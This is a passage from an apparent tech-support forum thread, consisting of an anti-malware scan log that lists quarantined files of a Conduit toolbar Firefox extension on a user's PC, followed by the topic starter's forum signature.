    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\PRICE_GONG\pg_offers.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\PRICE_GONG\agreement\agree.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\PRICE_GONG\agreement\agree.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\PRICE_GONG\agreement\Close.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\PRICE_GONG\agreement\Image.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\PRICE_GONG\agreement\Logo.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\PRICE_GONG\agreement\OK_Btn.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\PRICE_GONG\agreement\Topbg.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\PRICE_GONG\css\gadget.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\PRICE_GONG\css\ie7styles.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\PRICE_GONG\css\iestyle.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\PRICE_GONG\css\custom-theme\jquery-ui-1.8.10.custom.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\PRICE_GONG\images\icon.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\RADIO_PLAYER\bgpage.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\RADIO_PLAYER\embedded.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\RADIO_PLAYER\popup2.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\RADIO_PLAYER\css\gadget.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\RADIO_PLAYER\css\jquery.jscrollpane.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\RADIO_PLAYER\css\reset.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\RADIO_PLAYER\css\stations.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\RADIO_PLAYER\css\custom-theme\jquery-ui-1.8.10.custom.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\RADIO_PLAYER\js\bgpage.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\RADIO_PLAYER\js\bgpageEarly.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\RADIO_PLAYER\js\embedded.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\RADIO_PLAYER\js\embeddedEarly.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\RADIO_PLAYER\js\localization.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\RADIO_PLAYER\js\player.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\RADIO_PLAYER\js\popup.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\RADIO_PLAYER\js\resources\BrowserDetect.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\RADIO_PLAYER\js\resources\jquery-ui-1.8.10.custom.min.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\RADIO_PLAYER\js\resources\jquery.jscrollpane.min.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\RADIO_PLAYER\js\resources\jquery.scrollTo-1.4.2-min.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\RADIO_PLAYER\js\resources\radioCommon.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\RADIO_PLAYER\js\resources\system.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\RADIO_PLAYER\js\resources\utils.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\SEARCH\bgpage.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\SEARCH\embedded.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\SEARCH\information.popup.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\SEARCH\buildSettings\SearchApp_Ant.xml, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\SEARCH\Css\information.popup.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\SEARCH\js\bgpage.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\SEARCH\js\common.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\SEARCH\js\contentManager.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\SEARCH\js\historyProvider.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\SEARCH\js\information.popup.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\SEARCH\js\layoutManager.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\SEARCH\js\searchListener.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\SEARCH\js\selectionListener.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\SEARCH\js\suggestProvider.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\SEARCH\resources\history--x-default.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\SEARCH\resources\history--x-mouseover.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\SEARCH\resources\menu.icon.apps.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\SEARCH\view\script\view.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\SEARCH\view\style\default.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\SEARCH\view\style\rsx\dd-arrow.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\SEARCH\view\style\rsx\ie8.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\TWITTER\bgpage.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\TWITTER\popup.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\TWITTER\popup.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\TWITTER\img\icons.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\TWITTER\img\inbox.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\TWITTER\img\scroll_down.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\TWITTER\img\scroll_up.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\TWITTER\js\bgpage.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\TWITTER\js\localization.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\TWITTER\js\popup.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\WEATHER\bgpage.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\WEATHER\popup.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\WEATHER\css\gadget.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\WEATHER\css\ie7styles.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\WEATHER\css\iestyle.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\WEATHER\js\bgpage.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\WEATHER\js\common.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\WEATHER\js\date-functions.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\WEATHER\js\gadget.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\WEATHER\js\jquery.autocomplete.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\WEATHER\js\jquery.textshadow.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\WEATHER\js\logic.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\WEATHER\js\main.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\WEATHER\js\xPath.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\core\corelibs.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\core\framework.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\core\utils.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\lib\al.view.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\lib\al.viewPerformanceLog.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\lib\background.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\lib\ie_fix.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\lib\jquery.min.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\lib\jquery.mousewheel.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
     
  14. Geny Baker

    Geny Baker TS Rookie Topic Starter Posts: 23

